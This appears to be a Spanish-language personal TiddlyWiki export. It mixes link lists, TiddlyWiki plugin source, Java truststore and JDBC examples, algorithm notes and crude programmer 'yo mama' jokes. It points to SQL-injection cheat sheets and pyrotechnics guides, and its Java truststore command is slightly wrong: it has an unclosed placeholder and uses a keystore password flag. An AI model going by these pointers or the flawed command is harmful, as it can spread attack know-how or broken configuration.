** Cursos de universidades españolas: http://ocw.universia.net/es/buscar-por-areas.php
* ''Experimentos y "manualidades":''
** Maker Wiki: http://www.makerwiki.com/index.php/Portada
** Dangereously fun: http://dangerouslyfun.com/
** Instructables: http://www.instructables.com/
** Wiki Pyro: http://www.wikipyro.com/
** Pyro Guide: http://www.pyroguide.com
** Como hacer: http://www.comohacer.eu
** Crealo tu mismo: http://www.crealotumismo.com/
** Todo tutoriales: http://www.todotutoriales.es/
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
!Descripción
Apuntes sobre ingeniería de software: metodologías, métricas, etc
!Apuntes rápidos
*
!Enlaces interesantes
* Alternativas libres a Project: http://www.astracanada.net/2009/08/19/alternativas-gratuitas-a-microsoft-project/
* Gestión de la configuración con METRICA 3:
** http://www.csi.map.es/csi/metrica3/index.html
** http://www.csi.map.es/csi/metrica3/gescon.pdf
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
/***
|Name|InlineJavascriptPlugin|
|Source|http://www.TiddlyTools.com/#InlineJavascriptPlugin|
|Documentation|http://www.TiddlyTools.com/#InlineJavascriptPluginInfo|
|Version|1.9.3|
|Author|Eric Shulman - ELS Design Studios|
|License|http://www.TiddlyTools.com/#LegalStatements <br>and [[Creative Commons Attribution-ShareAlike 2.5 License|http://creativecommons.org/licenses/by-sa/2.5/]]|
|~CoreVersion|2.1|
|Type|plugin|
|Requires||
|Overrides||
|Description|Insert Javascript executable code directly into your tiddler content.|
''Call directly into TW core utility routines, define new functions, calculate values, add dynamically-generated TiddlyWiki-formatted output'' into tiddler content, or perform any other programmatic actions each time the tiddler is rendered.
!!!!!Documentation
>see [[InlineJavascriptPluginInfo]]
!!!!!Revisions
<<<
2008.06.11 [1.9.3] added $(...) function as 'shorthand' convenience syntax for document.getElementById()
2008.03.03 [1.9.2] corrected declaration of wikifyPlainText() for 'TW 2.1.x compatibility fallback' (fixes Safari "parse error")
2008.02.23 [1.9.1] in onclick function, use string instead of array for 'bufferedHTML' attribute on link element (fixes IE errors)
2008.02.21 [1.9.0] 'onclick' scripts now allow returned text (or document.write() calls) to be wikified into a span that immediately follows the onclick link. Also, added default 'return false' handling if no return value provided (prevents HREF from being triggered -- return TRUE to allow HREF to be processed). Thanks to Xavier Verges for suggestion and preliminary code.
|please see [[InlineJavascriptPluginInfo]] for additional revision details|
2005.11.08 [1.0.0] initial release
<<<
!!!!!Code
***/
//{{{
version.extensions.InlineJavascriptPlugin= {major: 1, minor: 9, revision: 3, date: new Date(2008,6,11)};
config.formatters.push( {
name: "inlineJavascript",
match: "\\<script",
lookahead: "\\<script(?: src=\\\"((?:.|\\n)*?)\\\")?(?: label=\\\"((?:.|\\n)*?)\\\")?(?: title=\\\"((?:.|\\n)*?)\\\")?(?: key=\\\"((?:.|\\n)*?)\\\")?( show)?\\>((?:.|\\n)*?)\\</script\\>",
handler: function(w) {
var lookaheadRegExp = new RegExp(this.lookahead,"mg");
lookaheadRegExp.lastIndex = w.matchStart;
var lookaheadMatch = lookaheadRegExp.exec(w.source)
if(lookaheadMatch && lookaheadMatch.index == w.matchStart) {
var src=lookaheadMatch[1];
var label=lookaheadMatch[2];
var tip=lookaheadMatch[3];
var key=lookaheadMatch[4];
var show=lookaheadMatch[5];
var code=lookaheadMatch[6];
if (src) { // load a script library
// make script tag, set src, add to body to execute, then remove for cleanup
var script = document.createElement("script"); script.src = src;
document.body.appendChild(script); document.body.removeChild(script);
}
if (code) { // there is script code
if (show) // show inline script code in tiddler output
wikify("{{{\n"+lookaheadMatch[0]+"\n}}}\n",w.output);
if (label) { // create a link to an 'onclick' script
// add a link, define click handler, save code in link (pass 'place'), set link attributes
var link=createTiddlyElement(w.output,"a",null,"tiddlyLinkExisting",wikifyPlainText(label));
var fixup=code.replace(/document.write\s*\(/gi,'place.bufferedHTML+=(');
link.code="function _out(place){"+fixup+"\n};_out(this);"
link.tiddler=w.tiddler;
link.onclick=function(){
this.bufferedHTML="";
try{ var r=eval(this.code);
if(this.bufferedHTML.length || (typeof(r)==="string")&&r.length)
var s=this.parentNode.insertBefore(document.createElement("span"),this.nextSibling);
if(this.bufferedHTML.length)
s.innerHTML=this.bufferedHTML;
if((typeof(r)==="string")&&r.length) {
wikify(r,s,null,this.tiddler);
return false;
} else return r!==undefined?r:false;
} catch(e){alert(e.description||e.toString());return false;}
};
link.setAttribute("title",tip||"");
var URIcode='javascript:void(eval(decodeURIComponent(%22(function(){try{';
URIcode+=encodeURIComponent(encodeURIComponent(code.replace(/\n/g,' ')));
URIcode+='}catch(e){alert(e.description||e.toString())}})()%22)))';
link.setAttribute("href",URIcode);
link.style.cursor="pointer";
if (key) link.accessKey=key.substr(0,1); // single character only
}
else { // run inline script code
var fixup=code.replace(/document.write\s*\(/gi,'place.innerHTML+=(');
var code="function _out(place){"+fixup+"\n};_out(w.output);"
try { var out=eval(code); } catch(e) { out=e.description?e.description:e.toString(); }
if (out && out.length) wikify(out,w.output,w.highlightRegExp,w.tiddler);
}
}
w.nextMatch = lookaheadMatch.index + lookaheadMatch[0].length;
}
}
} )
//}}}
// // Backward-compatibility for TW2.1.x and earlier
//{{{
if (typeof(wikifyPlainText)=="undefined") window.wikifyPlainText=function(text,limit,tiddler) {
if(limit > 0) text = text.substr(0,limit);
var wikifier = new Wikifier(text,formatter,null,tiddler);
return wikifier.wikifyPlain();
}
//}}}
// // $(...) function: 'shorthand' convenience syntax for document.getElementById()
//{{{
if (typeof($)=="undefined") { // avoid redefinition
function $() {
var elements=new Array();
for (var i=0; i<arguments.length; i++) {
var element=arguments[i];
if (typeof element=='string') element=document.getElementById(element);
if (arguments.length==1) return element;
elements.push(element);
}
return elements;
}
}
//}}}
/***
|Name|InlineJavascriptPluginInfo|
|Source|http://www.TiddlyTools.com/#InlineJavascriptPlugin|
|Documentation|http://www.TiddlyTools.com/#InlineJavascriptPluginInfo|
|Version|1.9.4|
|Author|Eric Shulman|
|License|http://www.TiddlyTools.com/#LegalStatements <br>and [[Creative Commons Attribution-ShareAlike 2.5 License|http://creativecommons.org/licenses/by-sa/2.5/]]|
|~CoreVersion|2.1|
|Type|documentation|
|Requires||
|Overrides||
|Description|Documentation for InlineJavascriptPlugin|
''Call directly into TW core utility routines, define new functions, calculate values, add dynamically-generated TiddlyWiki-formatted output'' into tiddler content, or perform any other programmatic actions each time the tiddler is rendered.
!!!!!Usage
<<<
This plugin adds wiki syntax for surrounding tiddler content with {{{<script>}}} and {{{</script>}}} markers, so that it can be recognized as embedded javascript code.
<script show>
/* javascript code goes here... */
</script>Every time the tiddler content is rendered, the javascript code is automatically evaluated, allowing you to invoke 'side-effect' processing and/or produce dynamically-generated content that is then inserted into the tiddler content, immediately following the script (see below). By including the optional ''show'' keyword as the final parameter in a {{{<script>}}} marker, the plugin will also include the script source code in the output that it displays in the tiddler. This is helpful when creating examples for documentation purposes (such as used in this tiddler!)
__''Deferred execution from an 'onClick' link''__
<script label="click here" title="mouseover tooltip text" key="X" show>
/* javascript code goes here... */
alert('you clicked on the link!');
</script>
By including a {{{label="..."}}} parameter in the initial {{{<script>}}} marker, the plugin will create a link to an 'onclick' script that will only be executed when that specific link is clicked, rather than running the script each time the tiddler is rendered. You may also include a {{{title="..."}}} parameter to specify the 'tooltip' text that will appear whenever the mouse is moved over the onClick link text, and a {{{key="X"}}} parameter to specify an //access key// (which must be a //single// letter or numeric digit only).
__''Loading scripts from external source files''__
<script src="URL" show>
/* optional javascript code goes here... */
</script>You can also load javascript directly from an external source URL, by including a src="..." parameter in the initial {{{<script>}}} marker (e.g., {{{<script src="demo.js"></script>}}}). This is particularly useful when incorporating third-party javascript libraries for use in custom extensions and plugins. The 'foreign' javascript code remains isolated in a separate file that can be easily replaced whenever an updated library file becomes available.
In addition to loading the javascript from the external file, you can also use this feature to invoke javascript code contained within the {{{<script>...</script>}}} markers. This code is invoked //after// the external script file has been processed, and can make immediate use of the functions and/or global variables defined by the external script file.
>Note: To ensure that your javascript functions are always available when needed, you should load the libraries from a tiddler that is rendered as soon as your TiddlyWiki document is opened, such as MainMenu. For example: put your {{{<script src="..."></script>}}} syntax into a separate 'library' tiddler (e.g., LoadScripts), and then add {{{<<tiddler LoadScripts>>}}} to MainMenu so that the library is loaded before any other tiddlers that rely upon the functions it defines.
>
>Normally, loading external javascript in this way does not produce any direct output, and should not have any impact on the appearance of your MainMenu. However, if your LoadScripts tiddler contains notes or other visible content, you can suppress this output by using 'inline CSS' in the MainMenu, like this: {{{@@display:none;<<tiddler LoadScripts>>@@}}}
<<<
!!!!!Creating dynamic tiddler content and accessing the ~TiddlyWiki DOM
<<<
An important difference between TiddlyWiki inline scripting and conventional embedded javascript techniques for web pages is the method used to produce output that is dynamically inserted into the document: in a typical web document, you use the {{{document.write()}}} (or {{{document.writeln()}}}) function to output text sequences (often containing HTML tags) that are then rendered when the entire document is first loaded into the browser window.
However, in a ~TiddlyWiki document, tiddlers (and other DOM elements) are created, deleted, and rendered "on-the-fly", so writing directly to the global 'document' object does not produce the results you want (i.e., replacing the embedded script within the tiddler content), and instead will //completely replace the entire ~TiddlyWiki document in your browser window (which is clearly not a good thing!)//. In order to allow scripts to use {{{document.write()}}}, the plugin automatically converts and buffers all HTML output so it can be safely inserted into your tiddler content, immediately following the script.
''Note that {{{document.write()}}} can only be used to output "pure HTML" syntax. To produce //wiki-formatted// output, your script should instead return a text value containing the desired wiki-syntax content'', which will then be automatically rendered immediately following the script. If returning a text value is not sufficient for your needs, the plugin also provides an automatically-defined variable, 'place', that gives the script code ''direct access to the //containing DOM element//'' into which the tiddler output is being rendered. You can use this variable to ''perform direct DOM manipulations'' that can, for example:
* generate wiki-formatted output using {{{wikify("...content...",place)}}}
* vary the script's actions based upon the DOM element in which it is embedded
* access 'tiddler-relative' DOM information using {{{story.findContainingTiddler(place)}}}
Note:
''When using an 'onclick' script, the 'place' element actually refers to the onclick //link text// itself, instead of the containing DOM element.'' This permits you to directly reference or modify the link text to reflect any 'stateful' conditions that might set by the script. To refer to the containing DOM element from within an 'onclick' script, you can use "place.parentNode" instead.
<<<
!!!!!Instant "bookmarklets"
<<<
You can also use an 'onclick' link to define a "bookmarklet": a small piece of javascript that can be ''invoked directly from the browser without having to be defined within the current document.'' This allows you to create 'stand-alone' commands that can be applied to virtually ANY TiddlyWiki document... even remotely-hosted documents that have been written by others!! To create a bookmarklet, simply define an 'onclick' script and then grab the resulting link text and drag-and-drop it onto your browser's toolbar (or right-click and use the 'bookmark this link' command to add it to the browser's menu).
Notes:
*When writing scripts intended for use as bookmarklets, due to the ~URI-encoding required by the browser, ''you cannot not use ANY double-quotes (") within the bookmarklet script code.''
*All comments embedded in the bookmarklet script must ''use the fully-delimited {{{/* ... */}}} comment syntax,'' rather than the shorter {{{//}}} comment syntax.
*Most importantly, because bookmarklets are invoked directly from the browser interface and are not embedded within the TiddlyWiki document, there is NO containing 'place' DOM element surrounding the script. As a result, ''you cannot use a bookmarklet to generate dynamic output in your document,'' and using {{{document.write()}}} or returning wiki-syntax text or making reference to the 'place' DOM element will halt the script and report a "Reference Error" when that bookmarklet is invoked.
Please see [[InstantBookmarklets]] for many examples of 'onclick' scripts that can also be used as bookmarklets.
<<<
!!!!!Special reserved function name
<<<
The plugin 'wraps' all inline javascript code inside a function, {{{_out()}}}, so that any return value you provide can be correctly handled by the plugin and inserted into the tiddler. To avoid unpredictable results (and possibly fatal execution errors), this function should never be redefined or called from ''within'' your script code.
<<<
!!!!!$(...) 'shorthand' function
<<<
As described by Dustin Diaz [[here|http://www.dustindiaz.com/top-ten-javascript/]], the plugin defines a 'shorthand' function that allows you to write:
{{{
$(id)
}}}
in place of the normal standard javascript syntax:
{{{
document.getElementById(id)
}}}
This function is provided merely as a convenience for javascript coders that may be familiar with this abbreviation, in order to allow them to save a few bytes when writing their own inline script code.
<<<
!!!!!Examples
<<<
simple dynamic output:
><script show>
document.write("The current date/time is: "+(new Date())+"<br>");
return "link to current user: [["+config.options.txtUserName+"]]\n";
</script>
dynamic output using 'place' to get size information for current tiddler:
><script show>
if (!window.story) window.story=window;
var title=story.findContainingTiddler(place).getAttribute("tiddler");
var size=store.getTiddlerText(title).length;
return title+" is using "+size+" bytes";
</script>
dynamic output from an 'onclick' script, using {{{document.write()}}} and/or {{{return "..."}}}
><script label="click here" show>
document.write("<br>The current date/time is: "+(new Date())+"<br>");
return "link to current user: [["+config.options.txtUserName+"]]\n";
</script>
creating an 'onclick' button/link that accesses the link text AND the containing tiddler:
><script label="click here" title="clicking this link will show an 'alert' box" key="H" show>
if (!window.story) window.story=window;
var txt=place.firstChild.data;
var tid=story.findContainingTiddler(place).getAttribute('tiddler');
alert('Hello World!\nlinktext='+txt+'\ntiddler='+tid);
</script>
dynamically setting onclick link text based on stateful information:
>{{block{
{{{
<script label="click here">
/* toggle "txtSomething" value */
var on=(config.txtSomething=="ON");
place.innerHTML=on?"enable":"disable";
config.txtSomething=on?"OFF":"ON";
return "\nThe current value is: "+config.txtSomething;
</script><script>
/* initialize onclick link text based on current "txtSomething" value */
var on=(config.txtSomething=="ON");
place.lastChild.previousSibling.innerHTML=on?"disable":"enable";
</script>
}}}
<script label="click here">
/* toggle "txtSomething" value */
var on=(config.txtSomething=="ON");
place.innerHTML=on?"enable":"disable";
config.txtSomething=on?"OFF":"ON";
return "\nThe current value is: "+config.txtSomething;
</script><script>
/* initialize onclick link text based on current "txtSomething" value */
var on=(config.txtSomething=="ON");
place.lastChild.innerHTML=on?"enable":"disable";
</script>
}}}
loading a script from a source url:
>http://www.TiddlyTools.com/demo.js contains:
>>{{{function inlineJavascriptDemo() { alert('Hello from demo.js!!') } }}}
>>{{{displayMessage('InlineJavascriptPlugin: demo.js has been loaded');}}}
>note: When using this example on your local system, you will need to download the external script file from the above URL and install it into the same directory as your document.
>
><script src="demo.js" show>
return "inlineJavascriptDemo() function has been defined"
</script>
><script label="click to invoke inlineJavascriptDemo()" key="D" show>
inlineJavascriptDemo();
</script>
<<<
!!!!!Revisions
<<<
2009.02.26 [1.9.4] in $(), handle leading '#' on ID for compatibility with JQuery syntax
2008.06.11 [1.9.3] added $(...) function as 'shorthand' for document.getElementById()
2008.03.03 [1.9.2] corrected fallback declaration of wikifyPlainText() (fixes Safari "parse error")
2008.02.23 [1.9.1] in onclick function, use string instead of array for 'bufferedHTML' (fixes IE errors)
2008.02.21 [1.9.0] output from 'onclick' scripts (return value or document.write() calls) are now buffered and rendered into into a span following the script. Also, added default 'return false' handling if no return value provided (prevents HREF from being triggered -- return TRUE to allow HREF to be processed). Thanks to Xavier Verges for suggestion and preliminary code.
2008.02.14 [1.8.1] added backward-compatibility for use of wikifyPlainText() in TW2.1.3 and earlier
2008.01.08 [*.*.*] plugin size reduction: documentation moved to ...Info tiddler
2007.12.28 [1.8.0] added support for key="X" syntax to specify custom access key definitions
2007.12.15 [1.7.0] autogenerate URI encoded HREF on links for onclick scripts. Drag links to browser toolbar to create bookmarklets. IMPORTANT NOTE: place is NOT defined when scripts are used as bookmarklets. In addition, double-quotes will cause syntax errors. Thanks to PaulReiber for debugging and brainstorming.
2007.11.26 [1.6.2] when converting "document.write()" function calls in inline code, allow whitespace between "write" and "(" so that "document.write ( foobar )" is properly converted.
2007.11.16 [1.6.1] when rendering "onclick scripts", pass label text through wikifyPlainText() to parse any embedded wiki-syntax to enable use of HTML entities or even TW macros to generate dynamic label text.
2007.02.19 [1.6.0] added support for title="..." to specify mouseover tooltip when using an onclick (label="...") script
2006.10.16 [1.5.2] add newline before closing '}' in 'function out_' wrapper. Fixes error caused when last line of script is a comment.
2006.06.01 [1.5.1] when calling wikify() on script return value, pass hightlightRegExp and tiddler params so macros that rely on these values can render properly
2006.04.19 [1.5.0] added 'show' parameter to force display of javascript source code in tiddler output
2006.01.05 [1.4.0] added support 'onclick' scripts. When label="..." param is present, a button/link is created using the indicated label text, and the script is only executed when the button/link is clicked. 'place' value is set to match the clicked button/link element.
2005.12.13 [1.3.1] when catching eval error in IE, e.description contains the error text, instead of e.toString(). Fixed error reporting so IE shows the correct response text. Based on a suggestion by UdoBorkowski
2005.11.09 [1.3.0] for 'inline' scripts (i.e., not scripts loaded with src="..."), automatically replace calls to 'document.write()' with 'place.innerHTML+=' so script output is directed into tiddler content. Based on a suggestion by BradleyMeck
2005.11.08 [1.2.0] handle loading of javascript from an external URL via src="..." syntax
2005.11.08 [1.1.0] pass 'place' param into scripts to provide direct DOM access
2005.11.08 [1.0.0] initial release
<<<
config.formatters.unshift( {
name: "inlinesliders",
match: "\\+\\+\\+\\+|\\<slider",
lookaheadRegExp: /(?:\+\+\+\+|<slider) (.*?)(?:>?)\n((?:.|\n)*?)\n(?:====|<\/slider>)/mg,
handler: function(w)
{
this.lookaheadRegExp.lastIndex = w.matchStart;
var lookaheadMatch = this.lookaheadRegExp.exec(w.source)
if(lookaheadMatch && lookaheadMatch.index == w.matchStart )
{
var btn = createTiddlyButton(w.output,lookaheadMatch[1] + " "+"\u00BB",lookaheadMatch[1],this.onClickSlider,"button sliderButton");
var panel = createTiddlyElement(w.output,"div",null,"sliderPanel");
panel.style.display = "none";
wikify(lookaheadMatch[2],panel);
w.nextMatch = lookaheadMatch.index + lookaheadMatch[0].length;
}
},
onClickSlider : function(e)
{
if(!e) var e = window.event;
var n = this.nextSibling;
n.style.display = (n.style.display=="none") ? "block" : "none";
return false;
}
})
! Pasos para importar CAs en un almacén de confianza:
* Crear un respositorio de CAs de confianza con la CA importada
{{{
keytool -import -trustcacerts -alias <alias de la CA> -file <archivo.cer> -keystore <repositorio.jks>
}}}
* Pasar los siguientes parámetros a la ejecución de la aplicación para que la máquina virtual use el repositorio:
{{{
java -Djavax.net.ssl.trustStore=<repositorio.jks -Djavax.net.ssl.keyStorePassword=<password repositorio>
}}}
/***
|Name:|InstantTimestampPlugin|
|Description:|A handy way to insert timestamps in your tiddler content|
|Version:|1.0.10 ($Rev: 3646 $)|
|Date:|$Date: 2008-02-27 02:34:38 +1000 (Wed, 27 Feb 2008) $|
|Source:|http://mptw.tiddlyspot.com/#InstantTimestampPlugin|
|Author:|Simon Baird <simon.baird@gmail.com>|
|License:|http://mptw.tiddlyspot.com/#TheBSDLicense|
!!Usage
If you enter {ts} in your tiddler content (without the spaces) it will be replaced with a timestamp when you save the tiddler. Full list of formats:
* {ts} or {t} -> timestamp
* {ds} or {d} -> datestamp
* !ts or !t at start of line -> !!timestamp
* !ds or !d at start of line -> !!datestamp
(I added the extra ! since that's how I like it. Remove it from translations below if required)
!!Notes
* Change the timeFormat and dateFormat below to suit your preference.
* See also http://mptw2.tiddlyspot.com/#AutoCorrectPlugin
* You could invent other translations and add them to the translations array below.
***/
//{{{
config.InstantTimestamp = {
// adjust to suit
timeFormat: 'DD/0MM/YY 0hh:0mm',
dateFormat: 'DD/0MM/YY',
translations: [
[/^!ts?$/img, "'!!{{ts{'+now.formatString(config.InstantTimestamp.timeFormat)+'}}}'"],
[/^!ds?$/img, "'!!{{ds{'+now.formatString(config.InstantTimestamp.dateFormat)+'}}}'"],
// thanks Adapted Cat
[/\{ts?\}(?!\}\})/ig,"'{{ts{'+now.formatString(config.InstantTimestamp.timeFormat)+'}}}'"],
[/\{ds?\}(?!\}\})/ig,"'{{ds{'+now.formatString(config.InstantTimestamp.dateFormat)+'}}}'"]
],
excludeTags: [
"noAutoCorrect",
"noTimestamp",
"html",
"CSS",
"css",
"systemConfig",
"systemConfigDisabled",
"zsystemConfig",
"Plugins",
"Plugin",
"plugins",
"plugin",
"javascript",
"code",
"systemTheme",
"systemPalette"
],
excludeTiddlers: [
"StyleSheet",
"StyleSheetLayout",
"StyleSheetColors",
"StyleSheetPrint"
// more?
]
};
TiddlyWiki.prototype.saveTiddler_mptw_instanttimestamp = TiddlyWiki.prototype.saveTiddler;
TiddlyWiki.prototype.saveTiddler = function(title,newTitle,newBody,modifier,modified,tags,fields,clearChangeCount,created) {
tags = tags ? tags : []; // just in case tags is null
tags = (typeof(tags) == "string") ? tags.readBracketedList() : tags;
var conf = config.InstantTimestamp;
if ( !tags.containsAny(conf.excludeTags) && !conf.excludeTiddlers.contains(newTitle) ) {
var now = new Date();
var trans = conf.translations;
for (var i=0;i<trans.length;i++) {
newBody = newBody.replace(trans[i][0], eval(trans[i][1]));
}
}
// TODO: use apply() instead of naming all args?
return this.saveTiddler_mptw_instanttimestamp(title,newTitle,newBody,modifier,modified,tags,fields,clearChangeCount,created);
}
// you can override these in StyleSheet
setStylesheet(".ts,.ds { font-style:italic; }","instantTimestampStyles");
//}}}
Via http://mundogeek.net/archivos/2009/07/09/10-insultos-geek/
# Tu madre es tan enorme que viene con sus propias barras de desplazamiento
# Tu madre es tan gorda que tuvieron que inventar IPv6 para que pudiera entrar en Internet
# Tu madre es tan fea que el patrón decorador no pudo arreglarlo
# Tu madre es tan estúpida que todavía está buscando la tecla any
# Tu madre es tan gorda que Google no ha terminado de indexarla
# Tu madre es tan gorda que si intentaras subir una foto suya a alguna web, se tomaría por un ataque DoS
# Tu madre es tan estúpida que pensaba que NHibernate es lo que los NOsos hacen en NInvierno
# Tu madre es tan fea que Bing tuvo que empezar a filtrar sus imágenes en algunos países
# Tu madre es tan gorda que la búsqueda de imágenes de Google tiene como opciones "pequeñas", "medianas", "grandes" y "el tamaño de tu madre"
# Tu madre es tan gorda que necesitas enteros de 128 bits para almacenar su peso
!Descripción
Apuntes sobre algoritmos matemáticos aplicables a las ciencias de la computación.
!Apuntes rápidos
*
!Enlaces interesantes
* ''Visión por computador:''
** Introducción: http://www.cs.cmu.edu/~cil/v-source.html
* ''Temas generales:''
** AI Life Howto: http://www.linux.com/learn/docs/ldp/412-ai-alife-howto
** Vida Artificial, artículos diversos: http://vidaartificial.com/index.php?title=Inteligencia_Artificial
** Vida Artificial, ebooks: http://vidaartificial.com/index.php?title=Libros
** Cómo comenzar con la Inteligencia Artificial: http://www.generation5.org/content/2004/howto02es.asp
** Artículos de todo tipo de Generation 5: http://www.generation5.org/articles.asp?Action=ListAll
* ''Enlaces via [[reddit|http://www.reddit.com/r/programming/comments/8w6gf/what_would_be_a_good_beginners_resource_to_learn/]]:''
** http://www.neural-networks-at-your-fingertips.com/
** http://www.inference.phy.cam.ac.uk/mackay/itila/
** http://www.stanford.edu/class/cs229/
** http://www.kyb.tuebingen.mpg.de/bs/people/weston/papers/unified_nlp.pdf
** http://www.ai-junkie.com/
** http://www.ai-junkie.com/ann/evolved/nnt1.html
** http://citeseerx.ist.psu.edu/viewdoc/summary?doi=10.1.1.27.699
** http://www.cs.toronto.edu/~mackay/itila/book.html
** http://www.primaryobjects.com/CMS/Article105.aspx
** http://www.mathworks.com/access/helpdesk/help/pdf_doc/nnet/nnet.pdf
** http://scholar.google.com/scholar?hl=en&client=firefox-a&rls=org.mozilla:en-US:official&hs=P2I&q=author:%22Mitchell%22+intitle:%22An+introduction+to+genetic+algorithms%22+&um=1&ie=UTF-8&oi=scholarr
* ''Bots:''
** Lenguaje AIML: http://es.wikipedia.org/wiki/AIML
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
!Descripción
Apuntes sobre internet en general y TCP/IP en particular
!Apuntes rápidos
*
!Enlaces interesantes
* ''Listados de direcciones:''
** IPs de buscadores web: http://www.iplists.com/
* ''Herramientas:''
** Herramientas de DNS Stuff: http://www.dnsstuff.com/tools/
** Geo posicionador de IP: http://www.ip-adress.com/
** Herramientas de Domain Tools: http://www.domaintools.com/
** IP e información de encabezados HTTP enviados al servidor: http://www.myipinfo.net/
** Comprobador de conexiones SOCKS: http://www.aliveproxy.com/socks4-checker/
** Herramientas de Server Sniff: http://serversniff.net/index.php
** Información de IP y otras herramientas de información de la conexión: http://www.hostip.info/
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
!¿Qué es [[WSGI]]?
[[WSGI]] son las siglas de "Web Server Gateway Interface". Este es un estándar de [[Python]] definido en el [[PEP-333|http://www.python.org/dev/peps/pep-0333/]]. El objetivo de este estándar es que las aplicaciones y frameworks que lo cumplan puedan funcionar en cualquier servidor web compatible.
!¿Por qué [[WSGI]]?
Al contrario que los Servlets [[J2EE]] en [[Java]], en [[Python]] no había ningún estándar y cada aplicación y framework definía el suyo a su manera. El resultado es que la interoperabilidad era nula. Para agilizar la implantación de [[WSGI]] se decidió hacer un API muy sencilla de implementar tanto en el lado del cliente como en el lado del servidor.
!Visión general
La especificación se divide en dos partes: la parte del lado del servidor (también llamada "gateway") y la parte de la aplicación cliente (también llamada "framework"). El servidor invoca los servicios definidos en las aplicaciones cliente.
! Introducción
Este artículo pretende ser una recopilación y traducción de la serie de artículos [[MIT's Introduction to Algoritms|http://www.catonmat.net/blog/category/introduction-to-algorithms/]]. Se intentará complementar con otras fuentes que puede que no se especifiquen.
! Análisis de algoritmos
http://www.catonmat.net/blog/mit-introduction-to-algorithms-part-one/
!Introducción
Los algoritmos genéticos son una familia de algoritmos que intenta imitar los procesos de la evolución biológica. Prodía considerarse como una rama de la complegidad emergente, en la que unas reglas sencillas y un conjunto de salida sencillo dan lugar tras diversas transformaciones en construcciones mucho más complejas e intersantes.
!Funcionamiento
Los algoritmos genéticos aplican diversas modificaciones aleatorias (mutaciones) sobre una muestra inicial y determinan cuales de los "hijos" de la población inicial son más aptos. Los menos aptos se retiran y se sigue trabajando con los seleccionados. Se les vuelven a aplicar varios ciclos de mutación-selección hasta que se alcance la solución más adecuada. Además de la mutación también suele utilizarse una operación llamada "cruzamiento". El proceso debe detenerse según una regla de "condición de término", que suele consistir en un número máximo de generaciones o que no se produzcan apenas cambios de la generación anterior a la siguiente.
La información de cada individuo (y por ende, de cada posible solución) se codifica en cadenas llamadas "cromosomas", y al conjunto de todos los cromosomas posibles "genotipo". Al conjunto de soluciones se le denomina "fenotipo". Lo más habitual suele ser que las cadenas de cromosomas sean arrays de dígitos binarios. Cada uno de los dígitos de la cadena se llama "gen". El resultado de cada ciclo de mutación se llama "generación". La próxima generación se llama "descendencia".
! Introducción
A continuación se expone con ejemplos como llamar a procedimientos almacenados en bases de datos usando JDBC.
! Llamadas a procedimientos almacenados
Supongo que la forma con distintos tipos de base de datos será similar, pero los ejemplos siguientes sólo se han probado con Oracle 10g. Por convenio, el primer parámetro que pase será {{{VARCHAR2}}} y el segundo un {{{NUMBER}}} que almacena un entero simple.
!! Llamada sin parámetros
{{{
CallableStatement cs = connection.prepareCall("{ call myproc }");
cs.execute();
}}}
!! Llamada parámetros IN
{{{
CallableStatement cs = connection.prepareCall("{ call myproc(?, ?) }");
cs.setString(1, "string value");
cs.setInt(2, 42);
cs.execute();
}}}
!! Llamada con parámetros IN/OUT
{{{
CallableStatement cs = connection.prepareCall("{ call myproc(?, ?) }");
cs.registerOutParameter(1, Types.VARCHAR);
cs.setString(1, "initial string value");
cs.setInt(2, 42);
cs.execute();
//Recoge el resultado
String result = cs.getString(1);
}}}
! Llamadas a funciones almacenadas
Se llaman de forma muy similar a los procedimientos, sólo que siempre tienen el primer parámetro como parámetro de salida.
{{{
CallableStatement cs = connection.prepareCall("{ ? = call myfuncout(?) }");
cs.registerOutParameter(1, Types.VARCHAR);
cs.setInt(2, 42);
cs.execute();
//Recoge el resultado
String result = cs.getString(1);
}}}
! Enlaces
* http://www.exampledepot.com/egs/java.sql/CallProcedure.html
* http://onjava.com/onjava/2003/08/13/stored_procedures.html
!Descripción
Apuntes sobre inyección de código SQL y otras formas de atacar bases de datos.
!Apuntes rápidos
*
!Enlaces interesantes
* http://www.imperva.com/resources/adc/blind_sql_server_injection.html
* http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
